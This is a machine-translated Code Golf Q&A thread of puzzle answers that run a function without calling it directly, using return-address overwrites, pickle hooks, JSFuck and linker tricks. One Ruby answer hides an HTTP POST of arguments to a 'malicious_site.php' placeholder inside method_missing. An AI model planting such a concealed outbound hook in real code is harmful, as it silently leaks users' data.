Chame um método sem chamá-lo [fechado]


77

Inspirado por uma pergunta StackOverflow agora excluída . Você pode encontrar uma maneira de executar um método específico, sem chamá-lo explicitamente? Quanto mais indireto, melhor.

Aqui está o que quero dizer exatamente (C usado apenas para exemplificação, todos os idiomas aceitos):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Pergunta original: insira a descrição da imagem aqui


58
+10471 ... nice
qwr

29
Gostaria de saber quanto rep você precisa transbordar estouro de pilha?
PyRulez

34
Aparentemente, este é um screencap da conta de @Mysticial , vendo o avatar. Mysticial, você poderia por favor, apenas clique na guia rep?!?!?!
Maçaneta

4
@Doorknob Por que ele deveria? Está tudo vindo de uma resposta.
precisa saber é o seguinte

8
@PyRulez Jon Skeet ainda não, então estamos seguros por enquanto .
Cole Johnson

Respostas:


109

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Quando compilado com o GCC, o compilador substitui printf("Goodbye!\n")por puts("Goodbye!"), o que é mais simples e deve ser equivalente. Forneci sorrateiramente minha putsfunção personalizada , para que ela seja chamada.


1
@ user17752 Na verdade, é uma transformação que o GCC faz mesmo em -O0. (. GCC 4.8, de qualquer maneira Talvez outras versões precisam algumas outras opções.)
hvd

1
desculpe, meu erro, esqueci que eu estava usando clang no meu macbook.
precisa saber é o seguinte

@ user17752 Obrigado, eu não havia testado com outros compiladores, é bom saber que pelo menos o clang tem uma opção para obter a mesma transformação.
hvd

Parabéns! Um vencedor é você!

84

Bem, como o malware é capaz de executar funções que não são chamadas no código? Por buffers transbordantes!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

No meu sistema, o endereço de retorno de mainé armazenado 3 palavras acima da primeira variável local. Ao embaralhar esse endereço de retorno com o endereço de outra função, main"retorna" para essa função. Se você deseja reproduzir esse comportamento em outro sistema, pode ser necessário ajustar 3 para outro valor.


Vença-me (+1) - esta é a solução C óbvia.
Comintern

20
Use <!-- language: lang-c -->duas linhas antes do seu código para destacá-lo.
precisa saber é o seguinte

9
Todos saúdam o @ Victor, herói de destaque de sintaxe!
Jason C

@ Victor isso é oficialmente documentado? Se sim onde?
Thorbjørn Ravn Andersen


75

Bater

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
Manipulação de exceção. A outra chamada de método!
Phrfox #

56

Python 2

>>> def func(*args):
        print('somebody called me?')

Aqui estão algumas maneiras inspiradas nas outras respostas:

  1. executando o código diretamente

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Esta é a melhor maneira de realmente não chamar a função.

  2. usando o destruidor

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Usando a E / S std

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. usando pesquisas de atributo

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. O mecanismo de importação

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Bem, acho que é tudo .. Não posso importar nada agora. Não espera ..

  6. Usando os suportes de item de obtenção []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Usando variáveis ​​globais. Meu favorito!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloé um acesso a d['hello']. Depois disso, o mundo parece cinzento.

  8. Meta classes;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Usando iteradores (você pode sobrecarregar qualquer operador e usá-lo)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Erros!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. As estruturas ligam de volta. Quase toda GUI tem essa funcionalidade.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Execute a string de origem (func deve estar em um arquivo)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Decoradores

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. com desserialização de picles (menos favoritos chegando)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Usando serialização

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Mais respostas em Python:


1
Bela coleção, mas você esqueceu os tópicos . ;)
nyuszika7h

Essa resposta é absurda. 1
asteri 04/04

Este é python 3
Braden Best

1
Muitos desses exemplos também trabalhar com Python 3. A mostrado meta-classe e exceção de fundos não funcionam em Python 3.
Utilizador

22

Javascript

Este usa o JSFuck para fazer o trabalho sujo.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Eu acho que isso se qualifica como uma chamada de função explícita. Apenas um muito ofuscado.
Primo

3
@primo, ele estará construindo uma string de javascript para executar e adquirindo o objeto Function para chamá-lo. Mas, para fazer isso, ele usa conversões implícitas entre tipos; por exemplo, ""é uma string e []avalia como 0, então ""[[]]é indefinido e ""[[]]+""é "indefinido". A partir daí, você pode extrair letras individuais: (""[[]]+"")[[]]é "u". Portanto, é mais um hack chamar exec com código arbitrário. Eu acho que isso conta?
Phil H

1
@ Phil Eu entendo como isso funciona. Remova os dois últimos parênteses: function anonymous() { x() }.
Primo

22

Pitão

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Isso define the_functioncomo a função de criação de perfil, fazendo com que seja executada em cada chamada e retorno de função.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

É este Python?
precisa saber é o seguinte

@ user2509848 Sim, esqueci de mencionar isso.
grc 01/03

Uma resposta não C! Gostaria muito de ver mais: D

@Johnsyweb Consulte meta.codegolf.stackexchange.com/q/1109/9498 . Não há necessidade de editar todas as postagens para incluir realce de sintaxe, especialmente se isso mal afetar a aparência do código (por exemplo, código curto).
Justin

@Quincunx: Reconhecido ☻
Johnsyweb

18

C #

Podemos abusar do DLR para sempre executar algum código sempre que você tentar chamar qualquer método em uma classe. Isso é um pouco menos barato / óbvio do que soluções como delegados, reflexões, construtores estáticos etc., porque o método que está sendo executado não é apenas nunca invocado, mas nem mesmo referenciado , nem mesmo pelo nome.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Isso sempre imprime "Ha! Enganou você!" não importa o que você tenta invocar a. Assim, eu poderia escrever com a.SuperCaliFragilisticExpiAlidocious()a mesma facilidade e faria a mesma coisa.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Isso é muito direto, mas certamente não é uma chamada para hello_world, mesmo que a função seja executada.


16

Rubi

Inspirado por wat .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

15

C

Você pode registrar uma função a ser chamada no final do programa em C, se isso atender às suas necessidades:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Tentei isso com java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

O método secretMethodNotCalledInMainé chamado apenas por reflexão e não estou procurando por nada chamado secretMethodNotCalledInMain(em vez disso, estou procurando por algo não chamado main). Além disso, a parte reflexiva do código é chamada fora do mainmétodo quando o manipulador de exceção não capturado do JDK entra em ação.

Aqui estão as minhas informações da JVM:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Aqui está a saída do meu programa:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Eu não esperava que esses NullPointerExceptioncódigos fossem lançados do código nativo para lidar com a reflexão. Mas, como mencionado por @ johnchen902, é porque ele herda alguns métodos java.lang.Objecte acabei chamando-os de nulls.


Esses NPEs não são bug do JDK. Eles são lançados porque você tentou chamar métodos de instância declarados java.lang.Objectcomo, por exemplo, toString()com null.
precisa saber é o seguinte

@ johnchen902 Oh, claro. Obrigado. Eu editei.
Victor Stafusa

14

C ++

Uma maneira em C ++ é no construtor e / ou destruidor de um objeto estático:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Pensei também em sobrecarregar novo e apagar , mas eu acho que três respostas são suficientes :)
fredoverflow

Construtores / destruidores são considerados "métodos" em C ++? No .NET e Java, eles são realmente um tipo de membro diferente. Você não pode chamar diretamente um ctor estática, mesmo se você quiser ...
Aaronaught

@ Aaronaught: Nada é considerado um "método" em C ++ (pelo menos por quem sabe do que está falando). Construtores e destruidores são funções-membro. Eles são funções membro "especiais" (por exemplo, construtores não têm nomes, portanto você não pode invocá-los diretamente).
Jerry Coffin

Bem, eu só usei esse termo porque o OP o fez. Eu sei que C / C ++ e quase todas as outras linguagens não Java / .NET têm funções, não métodos. Mas o ponto mais importante é que eles não podem ser invocados diretamente. Você poderia argumentar que tecnicamente um construtor de instância está sendo chamado diretamente newe, portanto, seria uma resposta interessante ter uma maneira de invocar um sem new . Mas eu não sei, os construtores estáticos parecem uma trapaça.
precisa saber é o seguinte

@Aaronaught Se você quiser chamar um construtor em um pedaço de memória que já esteja alocado, você pode escrever new (p) foo(). E você pode destruir um objeto sem liberar a memória via p->~foo().
Fredoverflow

12

C: Olá Mundo

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Resultado:

Hello World!

Para vincular o método, precisamos que printf () seja compilado em algum lugar do programa, mas ele não precisa ser chamado. As funções printf () e main () estão localizadas 276 bytes uma da outra no segmento de código. Este valor será alterado com base no SO e no compilador. Você pode encontrar os endereços reais em seu sistema com este código e apenas subtraí-los:

printf("%d %d\n", &printf, &main);

4
O *antes mainé realmente confuso e desnecessário. mainé uma função que você não pode desreferenciar; portanto, decai implicitamente em um ponteiro de função que é desreferenciado para produzir uma função novamente. Você não pode subtrair um int de uma função, portanto ele se deteriora para um ponteiro de função novamente. Você também pode escrever (*****main-276);) Você provavelmente quis escrever (&main-276)ou, em (*(main-276))vez disso.
Fredoverflow

6
The * before main is really confusing and unnecessary.- Isso geralmente não é uma coisa boa neste site?
James Webster

Eu estava sob ther impressão o padrão disse que um programm bem formado não deve usar main, mas não pode encontrá-lo agora ...
Damon

3
você chamar explicitamente-lo por referência ofuscado
Nowayz

9

C (com GCC em linha asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Isso fará com que algum código emitido pelo GCC termine em um segmento diferente do arquivo do objeto, fazendo com que o fluxo de controle "caia" na função. Observe que isso não funciona se o GCC decidir reordenar as funções, obviamente. Testado com o GCC 3.4.6 no MirBSD-current / i386, usando -O2. (Além disso, interrompe a depuração, compilando com -gerros out)


8

PHP ≥5.4.0

Esta solução é reconhecidamente uma bagunça horrível, mas executa a tarefa que lhe foi dada (não havia estipulação de quão bem ela deve ser executada).

A função para chamar sem chamar :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

A solução :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Exemplo :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Saídas possíveis:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Explicação :

Quando chamado, executeFunction()lerá o conteúdo do arquivo em execução no momento (o que significa que isso só deve ser executado a partir da CLI, como ele usa $argv), analisará os argumentos e o corpo da função especificada, cortará tudo novamente em um novo bloco de código, eval()tudo e retorne o resultado. O resultado é que getRandomString()nunca é realmente chamado, direta ou indiretamente, mas o código no corpo da função ainda é executado.


Bem, a criação de __construct()método conta no PHP, pois você nunca chama a função diretamente, mas usa new Something()?
precisa saber é o seguinte

@ D. Kasipovic Mais ou menos, pode-se argumentar que você ainda está invocando diretamente, apenas de uma maneira diferente. Escolhi minha abordagem atual porque gosto de pensar fora da caixa. Eu poderia ter apenas registrado a função como um retorno de chamada para register_tick_function(), register_shutdown_function()ou spl_autoload_register()semelhante à resposta Python do @ grc, mas sinto que isso é 'trapaça' e é o caminho mais fácil.
Tony Ellis


7

T-SQL

É um recurso incorporado. Gatilhos para a vitória!

Se você realmente quer se divertir com ele, crie um monte de gatilhos INSTEAD OF no dia da mentira.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Resultados:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Muito brincadeira. Que lulz. Uau.

O funileiro alarga -o no SQLFiddle.


2
Os gatilhos sempre me entendem, como desenvolvedor de aplicativos, nunca os espero.
Matthew

7

Javascript

No console do Firefox:

    this.toString = function(){alert('Wow')};

Em seguida, comece a digitar qualquer coisa no console - o Firefox chama .toString()várias vezes quando você digita no console.

Abordagem semelhante é:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

A plataforma de escolha é o Linux. Não podemos chamar nossa função; portanto, nosso vinculador fará isso:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Como obter o endereço mágico?

Estamos contando com a especificação básica do Linux Standard Core, que diz:

.fini_array

Esta seção contém uma matriz de ponteiros de função que contribuem para uma única matriz de terminação para o objeto executável ou compartilhado que contém a seção.

  1. Compile o código:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Examine o endereço de .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Encontre o VMA:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

e substitua esse valor por ADDRESS.


5

VB6 e VBA

Não tenho certeza se isso se qualifica ou não, porque está chamando o método de uma classe:

Isso ocorre em um módulo de classe:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

E este é o código "de chamada":

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
